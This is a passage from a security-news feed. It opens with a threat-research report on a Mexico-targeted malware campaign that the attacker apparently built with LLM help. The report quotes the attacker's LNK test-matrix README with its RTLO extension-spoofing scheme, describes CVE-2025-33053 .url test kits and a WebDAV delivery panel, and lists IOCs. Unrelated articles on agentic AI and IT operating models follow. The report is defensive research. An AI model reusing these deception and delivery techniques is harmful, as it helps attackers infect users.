It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

Simba-server-screenshot-panel.png
Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.

⠀

Simba-server-system-requirements.png
Figure 10: Simba service system requirements.

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / ĐžĐ±Đ·ĐŸŃ€

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В ŃŃ‚ĐŸĐč папĐșĐ” ĐœĐ°Ń…ĐŸĐŽĐžŃ‚ŃŃ ĐżĐŸĐ»ĐœĐ°Ń Ń‚Đ”ŃŃ‚ĐŸĐČая ĐŒĐ°Ń‚Ń€ĐžŃ†Đ° Оз **60 LNK-ŃŃ€Đ»Ń‹ĐșĐŸĐČ**, ĐŸĐ±ŃŠĐ”ĐŽĐžĐœŃŃŽŃ‰ĐžŃ… ĐČсД ĐŽĐŸŃŃ‚ŃƒĐżĐœŃ‹Đ” WebDAV-ĐŒĐ”Ń‚ĐŸĐŽŃ‹ ĐŸŃ‚Đșрытоя ŃĐŸ ĐČŃĐ”ĐŒĐž Ń‚Đ”Ń…ĐœĐžĐșĐ°ĐŒĐž ĐŸĐ±ĐŒĐ°ĐœĐ° LNK, ĐżĐŸĐŽĐŽĐ”Ń€Đ¶ĐžĐČĐ°Đ”ĐŒŃ‹ĐŒĐž ĐżŃ€ĐŸĐ”ĐșŃ‚ĐŸĐŒ Web-renamer.

---

## Naming Scheme / ĐĄŃ…Đ”ĐŒĐ° ĐžĐŒĐ”ĐœĐŸĐČĐ°ĐœĐžŃ

All files follow the pattern:  
ВсД фаĐčлы ŃĐ»Đ”ĐŽŃƒŃŽŃ‚ ŃˆĐ°Đ±Đ»ĐŸĐœŃƒ:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / Đ±Đ°Đ·ĐŸĐČĐŸĐ” ĐžĐŒŃ фаĐčла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / ĐŒĐ”Ń‚ĐŸĐŽ ĐŸŃ‚Đșрытоя WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / Ń‚Đ”Ń…ĐœĐžĐșĐ° ĐŸĐ±ĐŒĐ°ĐœĐ° LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`â€źÆ’ïœ„áŽ˜`) — visually appears as `.pdf` / спуф Ń€Đ°ŃŃˆĐžŃ€Đ”ĐœĐžŃ чДрДз RTLO + ĐłĐŸĐŒĐŸĐłĐ»ĐžŃ„Ń‹ — ĐČĐžĐ·ŃƒĐ°Đ»ŃŒĐœĐŸ ĐČŃ‹ĐłĐ»ŃĐŽĐžŃ‚ ĐșĐ°Đș `.pdf`
- **`.lnk`** — real extension / Ń€Đ”Đ°Đ»ŃŒĐœĐŸĐ” Ń€Đ°ŃŃˆĐžŃ€Đ”ĐœĐžĐ”

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф ĐżŃ€ĐžĐŒĐ”ĐœŃĐ”Ń‚ŃŃ **Ń‚ĐŸĐ»ŃŒĐșĐŸ Đș Ń€Đ°ŃŃˆĐžŃ€Đ”ĐœĐžŃŽ** ĐČ ĐșĐŸĐœŃ†Đ” ĐžĐŒĐ”ĐœĐž, ĐżĐŸŃŃ‚ĐŸĐŒŃƒ ĐœĐ°Đ·ĐČĐ°ĐœĐžŃ ĐŒĐ”Ń‚ĐŸĐŽĐŸĐČ Đž Ń‚Đ”Ń…ĐœĐžĐș ĐŸŃŃ‚Đ°ŃŽŃ‚ŃŃ Ń‡ĐžŃ‚Đ°Đ”ĐŒŃ‹ĐŒĐž.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

simba-service-presentation.png
Figure 12: Simba service presentation.

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

simba-service-page-with-blocking-capabilities_.png
Figure 13: Simba service page with blocking capabilities.

⠀

The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).

We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.

The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.

Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Country

Requests

Share of requests

Unique client IPs

Launch events

Mexico

63,622

82.5%

2,698

2,365

United States

4,032

5.2%

463

47

Germany

2,751

3.6%

59

1

United Kingdom

645

0.8%

40

0

Netherlands

532

0.7%

49

1

France

407

0.5%

21

0

Finland

401

0.5%

6

10

Brazil

343

0.4%

41

0

Republic of Korea

312

0.4%

16

1

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Method

Count

PROPFIND

57,287

GET

13,088

OPTIONS

6,597

PROPPATCH

125

LOCK

1

Table 4: HTTP methods observed in WebDAV delivery traffic.

Status

Count

207

57,412

200

19,532

206

154

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Name

MITRE ATT&CK technique

Code

Payload execution

User Execution: Malicious File

T1204.002

Masquerading

Right-to-Left Override

T1036.002

Masquerading

Double File Extension

T1036.007

DLL sideloading

Hijack Execution Flow: DLL

T1574.001

Obfuscation

Encrypted/Encoded File

T1027.013

Payload unpacking

Deobfuscate/Decode Files or Information

T1140

Payload carrier

Steganography / image-carried payload data

T1027.003

API hiding

Dynamic API Resolution

T1027.007

In-memory loading

Reflective Code Loading

T1620

Injection

Process Hollowing

T1055.012

Native API use

Native API

T1106

Sandbox evasion

Time Based Evasion

T1497.003

Anti-analysis

Debugger / instrumentation checks

T1622

UAC bypass

Bypass User Account Control

T1548.002

Persistence

Registry Run Keys / Startup Folder

T1547.001

Persistence

Scheduled Task

T1053.005

Collection

Keylogging

T1056.001

Collection

Screen Capture

T1113

Collection

Clipboard Data

T1115

Credential access

Credentials from Web Browsers

T1555.003

Credential access

Steal Web Session Cookie

T1539

Collection

Data from Local System

T1005

Collection

Automated Collection

T1119

Staging

Archive Collected Data: Archive via Utility

T1560.001

C2

Encrypted Channel

T1573

Exfiltration

Exfiltration Over C2 Channel

T1041

Possible persistence

WMI Event Subscription

T1546.003

Phishing lure generation

Generate Phishing Lures

AML.T0052

Resource Development

Resource Development

AML.TA0003

Obtain capabilities via LLM tooling

Obtain Capabilities

AML.T0016

LLM-assisted capability development

Develop Capabilities

AML.T0017

LLM prompt crafting for attack documentation

LLM Prompt Crafting

AML.T0065

Obtain capabilities via tooling

Obtain Capabilities: Software Tools

AML.T0016.001

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.

]]> <![CDATA[EU's AI labeling rules take effect next month]]> https://tsecurity.de/de/3681260/it-nachrichten/eus-ai-labeling-rules-take-effect-next-month/ https://tsecurity.de/de/3681260/it-nachrichten/eus-ai-labeling-rules-take-effect-next-month/ Mon, 20 Jul 2026 15:33:17 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[“Brain fry” and broken promises: The hidden cost of AI without architecture]]> https://tsecurity.de/de/3680919/it-nachrichten/brain-fry-and-broken-promises-the-hidden-cost-of-ai-without-architecture/ https://tsecurity.de/de/3680919/it-nachrichten/brain-fry-and-broken-promises-the-hidden-cost-of-ai-without-architecture/ Mon, 20 Jul 2026 13:02:46 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[We Don’t Have a Clean Indoor Air Act. Are Air Purifiers the Answer?]]> https://tsecurity.de/de/3680888/it-nachrichten/we-dont-have-a-clean-indoor-air-act-are-air-purifiers-the-answer/ https://tsecurity.de/de/3680888/it-nachrichten/we-dont-have-a-clean-indoor-air-act-are-air-purifiers-the-answer/ Mon, 20 Jul 2026 12:48:11 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Building the network for agentic AI: The foundation for autonomous enterprise operations]]> https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/ https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/ Mon, 20 Jul 2026 12:03:46 +0200 📰 IT Nachrichten tsecurity.de

Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing actions across applications, workflows and business processes with minimal human intervention.

As organizations move toward agentic frameworks that can independently resolve customer issues, optimize supply chains, manage infrastructure, coordinate workflows and even operate IT environments, one reality becomes clear: The network becomes the nervous system of the autonomous enterprise.

The infrastructure requirements of agentic AI differ dramatically from those of traditional applications. These systems are highly distributed, continuously exchanging information, interacting with APIs, accessing multiple data sources and making decisions in real time. The performance, security, visibility and adaptability of the network will directly determine the effectiveness of AI agents. Organizations that view AI readiness solely as a compute or data challenge risk overlooking one of the most critical enablers of future success — the network itself.

From AI-ready networks to autonomous networks

The long-term destination is the autonomous network: A network capable of self-monitoring, self-optimizing, self-healing and self-securing through the use of AI and automation. However, autonomous networking will not emerge overnight. The investments enterprises make today to support agentic AI are the same foundational building blocks required for tomorrow’s autonomous operations.

In many ways, agentic AI serves as both the driver and beneficiary of network transformation. AI agents require networks that can dynamically adapt to changing demands, while autonomous networks will increasingly rely on AI agents to manage and optimize themselves. The result is a reinforcing cycle where AI and networking evolve together.

The core characteristics of the network of the future

One of the most critical requirements for AI-ready networks is real-time observability and telemetry. Agentic AI thrives on context, and AI agents must continuously gather information from users, applications, devices, clouds, security systems and operational platforms. Future-ready networks must provide end-to-end visibility across campus, branch, cloud and data center environments. High-fidelity telemetry streams, real-time performance monitoring, application-aware analytics, AI-aware analytics and unified operational visibility are essential. Without comprehensive visibility, AI agents operate with incomplete information, limiting their effectiveness and increasing operational risk.

Another cornerstone is intent-based automation. Traditional networks are configured manually, often requiring administrators to define thousands of individual settings. In contrast, autonomous networks operate according to business intent. Enterprises increasingly need to define desired outcomes — such as maintaining application performance, optimizing user experience or automatically isolating compromised devices — rather than micromanaging configurations. The network continuously adjusts itself to achieve those objectives, providing the foundation upon which AI agents can make decisions safely and consistently.

Agentic AI also introduces entirely new traffic patterns that require AI-optimized connectivity. Large language models, retrieval systems, vector databases, cloud AI services, edge inference platforms and multi-agent orchestration frameworks create significant east-west and cloud-bound traffic. Future networks must provide low-latency connectivity, high-capacity fabrics, dynamic traffic engineering, edge-to-cloud optimization and policies that identify and prioritize AI workloads. The organizations that can move data efficiently will gain a competitive advantage in AI execution speed and responsiveness.

Security is another non-negotiable element. Agentic AI expands the enterprise attack surface because AI agents increasingly access sensitive systems, interact with APIs, consume proprietary data and execute actions across business environments. Future-ready networks must embed zero trust security into their architecture, with continuous identity verification, fine-grained access controls, microsegmentation, policy-driven authorization and continuous risk assessment. Security can no longer be bolted onto the network; it must be integral to its design and AI agents need to adhere to their own identity rules.

Finally, distributed intelligence across edge and cloud environments is essential. Many AI use cases require decisions to occur close to the source of data. Manufacturing systems, healthcare environments, retail operations, transportation networks and smart facilities often cannot tolerate the latency associated with centralized processing. Future networks must support edge AI deployment, distributed processing architectures, local inference, hybrid cloud operations and intelligent workload placement. The ability to move intelligence closer to users, devices and operational environments will become increasingly important as agentic AI expands across the enterprise.

Human expertise remains essential

Despite rapid advances in AI, the future will not eliminate the need for human expertise. In fact, it may increase its importance. One of the most significant misconceptions surrounding AI is that automation eliminates the need for skilled professionals. The reality is that autonomous systems require expert oversight, governance, validation and continuous optimization.

As AI systems become more capable, enterprises will need professionals who understand network architecture, security policy, AI governance, operational risk management, data quality, regulatory compliance and human-in-the-loop decision frameworks. The challenge is compounded by the unprecedented pace of AI innovation. New models, architectures, orchestration frameworks, security concerns and governance requirements emerge almost monthly. Most enterprise IT teams cannot be expected to independently evaluate every development while simultaneously modernizing infrastructure and maintaining day-to-day operations.

Organizations need access to experts who continuously track technology evolution, understand emerging best practices and can help translate innovation into practical deployment strategies. These experts provide not only implementation support but also ongoing operational guidance, helping enterprises maintain appropriate human oversight as AI capabilities expand. The future is not fully autonomous decision-making without people; it is intelligent automation operating under expert human governance.

5 actions enterprises should take now

Organizations should be preparing for the autonomous future right now. The following investments deliver immediate value while laying the groundwork for long-term AI transformation:

  1. Modernize network observability. Establish comprehensive visibility across users, applications, devices, clouds and infrastructure. Rich telemetry and operational data will become the fuel that powers both Agentic AI and autonomous network operations.
  2. Build an automation-first operating model. Identify repetitive operational processes and begin automating them. Automation maturity is a prerequisite for autonomous networking and creates the operational foundation AI agents will eventually leverage.
  3. Adopt zero-trust principles across the enterprise. Implement identity-centric security controls, segmentation and continuous policy enforcement. As AI agents gain access to enterprise systems, security architectures must evolve to leverage the same identity controls.
  4. Design for edge-to-cloud AI workloads. Evaluate network architectures for latency, bandwidth and resiliency requirements associated with distributed AI. Future AI deployments will span data centers, public clouds, branch locations and edge environments.
  5. Invest in skills and strategic partnerships. Develop internal expertise while leveraging partners that possess deep networking, automation, security and AI knowledge. Human expertise remains one of the most important success factors in building AI-ready and autonomous infrastructures.

The road ahead

Agentic AI is poised to transform enterprise operations in much the same way cloud computing transformed infrastructure and the internet transformed business itself. But AI agents cannot operate effectively without a modern network foundation. The enterprises that succeed will recognize that AI readiness extends beyond models and data. It requires networks that are observable, automated, secure, intelligent and increasingly autonomous. The investments made today in AI-ready networking are not merely infrastructure upgrades — they are strategic building blocks toward the autonomous enterprise of the future, where AI agents and autonomous networks work together under human guidance to deliver unprecedented levels of agility, efficiency, and innovation.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[Finding the right balance between autonomy and scale]]> https://tsecurity.de/de/3680711/it-security-nachrichten/finding-the-right-balance-between-autonomy-and-scale/ https://tsecurity.de/de/3680711/it-security-nachrichten/finding-the-right-balance-between-autonomy-and-scale/ Mon, 20 Jul 2026 11:36:55 +0200 📰 IT Security Nachrichten tsecurity.de

For diversified enterprises, few operating model questions are as persistent or polarizing as centralization versus decentralization. Decentralization promises speed, ownership, and local responsiveness. Centralization promises efficiency, standardization, and leverage. Both can be right. Both can be wrong. The challenge is that many organizations end up with both models operating at once, without enough clarity about why.

The result of fragmented systems, duplicated capabilities, inconsistent data, rising IT spend, and a complexity tax that compounds over time is familiar to many CIOs. What starts as autonomy can become architectural sprawl. What starts as enterprise leverage can become bureaucracy. And as companies modernize core platforms, integrate data, and scale capabilities like AI, the tension becomes harder to ignore.

Paul Krebs has lived that tension from multiple vantage points. Most recently as CIO and chief transformation officer at Koch Industries, and previously a technology and transformation leader at The Coca-Cola Company, he’s worked in environments where business units value autonomy, enterprise scale matters, and the wrong operating model can slow progress just as easily as the wrong technology architecture.

His conclusion isn’t that CIOs should pick a side, but they need a more intentional form of centralization, one that starts with business architecture, clarifies decision rights, and continually revisits where capabilities should sit as the organization matures.

Centralization: a design choice, not a doctrine

In diversified organizations, decentralization often starts as the default because it aligns with how the business creates value. Local businesses understand their customers, markets, regulatory environments, and operating realities, and giving them decision rights can increase speed and accountability.

In Krebs’ experience, the default model often leaned toward decentralization, he says, with the belief that optimizing for customers and markets would allow different businesses to be as responsive as possible to the specific customers and markets they served. But that logic isn’t complete. Leaders also need to ask whether there’s a compelling case where a more centralized approach can generate additional value, accelerate progress, or optimize investments.

Digital transformation created one of those moments. Krebs recalls around 2016 when Koch challenged its businesses to build multi-year digital transformation roadmaps. The ambition was there, but the capabilities to execute at the necessary pace weren’t evenly distributed. In response, the organization invested more aggressively from the center, building shared services and centers of expertise in areas such as business transformation, enterprise applications, and data and analytics.

The purpose was acceleration, not control. Centralizing those capabilities helped accelerate learnings, capability building, and their ability to deploy new solutions at scale. But the move wasn’t treated as permanent. “There was always a belief that the centralization push should be re-looked at on a regular basis, not thought of as a forever decision,” he says.

Know what belongs at the center

Over time, Krebs learned that  the capabilities most likely to remain centralized were those where scale, consistency, and risk management mattered more than local differentiation. Infrastructure, collaboration platforms, cybersecurity, cloud management, FinOps, and the help desk were natural candidates to remain shared services.

Other areas were more nuanced. Some application capabilities moved back into the businesses as local maturity increased. Many data and insights capabilities also moved closer to the business once teams had built enough muscle to own them. Meanwhile, certain emerging capabilities such as spatial technologies like AR/VR remained centralized because it didn’t yet make sense for each business to build them independently. Many companies have lived this journey as well, for example, with gen AI, which often started with a center of excellence, and then evolved into a more decentralized approach, enabling teams across the business to innovate quickly.

That distinction avoids the trap of treating the enterprise as one uniform operating model. “Both models can be successful, and both have advantages,” he says. “That’s what makes the balance so difficult.”

Centralization provides a clearer path to execution at scale and cleaner decision rights, but it requires change management and careful attention to bureaucracy. Decentralization provides ownership and speed, but it can also over index toward preference versus real differentiation, he adds, while making architecture harder to scale later.

Don’t confuse standardization with centralization

One of the most important distinctions Krebs makes is between centralization and standardization. Many organizations treat them as interchangeable, but they’re not.

“You can have a centralized team that can manage the nuances of different requirements,” Krebs says. “You can also have a centralized standard platform that can be used in a decentralized manner.”

That distinction opens up more operating model choices. A company may centralize a platform but decentralize how business teams configure or use it. It may standardize process patterns while keeping execution close to the region or business unit. It may also centralize architectural governance while allowing local teams to move quickly within defined guardrails.

This is especially important in global organizations, where regional needs are real but not always unique. Krebs advises leaders to examine whether local requirements can be made more generic and reusable. The risk is solving each local requirement as a one-off, so the better path is to understand the underlying requirement, build it in a way that can scale, and still allow local teams to execute within the standard model.

Let business architecture lead technology architecture

Few topics expose the centralization tension more clearly than ERP consolidation. Many diversified companies, particularly those shaped by acquisition, end up with dozens or hundreds of ERP instances. Some leaders push for massive consolidation. Others prefer to build integration layers on top of the existing environment.

Krebs’s starting point is neither technology nor cost. It’s business architecture. “The easiest and most effective path is when the IT or systems architecture follows and aligns to the business architecture,” he says.

If the business is truly going to operate processes separately, separate systems may be appropriate. But if the organization has numerous teams, processes, and tools, leaders need to ask whether there’s enough differentiation and value to justify that complexity.

The same logic applies to M&A. Companies can get into trouble when integration synergies are held hostage by ERP migration timelines. Instead, Krebs advises starting with the business integration strategy. Understand where the synergies are, how the business architecture should come together, and then decide whether the IT architecture needs to be fully integrated, or whether a data layer, reporting platform, or other integration approach can deliver value faster.

Make the cost of complexity visible

CIOs in decentralized companies often face a frustrating dynamic. The business wants autonomy and speed, but the same leadership team still questions why IT spend is high relative to benchmarks. Krebs says the answer starts with cost alignment and visibility.

In environments with a mix of centralized and decentralized services, Krebs saw centralized capabilities like infrastructure, help desk, and security perform well on benchmarks. More decentralized areas, such as BI, reporting, and commercial applications, often had more redundancy and higher cost.

The point isn’t to blame the business but make the economics of complexity visible. CIOs need to show how flexibility in one area may require multiple systems, data stores, or teams elsewhere. “I understand we want flexibility here,” Krebs says. “But leaders must see when that flexibility may cost the company money, and be clear on whether the value justifies it.”

That shifts the conversation from IT cost to business service economics. A single aggregate IT spend number is rarely useful in a decentralized environment. More helpful is a capability-based view that shows which areas are scaled efficiently, which are fragmented, and where the business architecture is driving the technology cost structure.

Revisit the model as maturity changes

For a new CIO entering a decentralized environment, Krebs cautions against immediately declaring that too many things need to be centralized. The better starting point is curiosity. “I would begin with just trying to understand why they’ve made the decisions they have,” he says.

From there, CIOs can engage leaders in a conversation about the target operating model, connecting business architecture to technology, data, and organizational capabilities. Once the direction is clear, he advises CIOs to work with the willing. Find the parts of the organization that already see the need for change, prove the model there, and scale from demonstrated success.

Regardless of execution, though, the right model changes over time. A low-maturity capability may benefit from centralization because the organization needs to build talent, avoid reinventing the wheel, and accelerate learning. As maturity grows, decentralization may make more sense because business teams need flexibility to adapt quickly. Once maturity is high and patterns stabilize, the organization may be ready to centralize again to leverage scale.

“Once I’ve decided I’m going to start with centralized or decentralized, you don’t necessarily need to stay in that model,” Krebs says. “You need to be continually revisiting the operating model as your organization matures and evolves.”

That may be the heart of smart centralization. It rejects the false permanence of operating model decisions, and recognizes that autonomy and scale are both valuable, but in different places, at different times, for different reasons.

]]> <![CDATA[The 6 kinds of AI agent architectures]]> https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/ https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/ Mon, 20 Jul 2026 11:09:07 +0200 📰 IT Security Nachrichten tsecurity.de

Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.

I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.

1. The conversational assistant

The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. Deloitte found that 38% of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.

A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.

A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.

2. The triggered workflow

Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.

A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.

Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.

3. The autonomous agent — with sub-agents

Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.

A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.

Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.

4. The multi-agent team

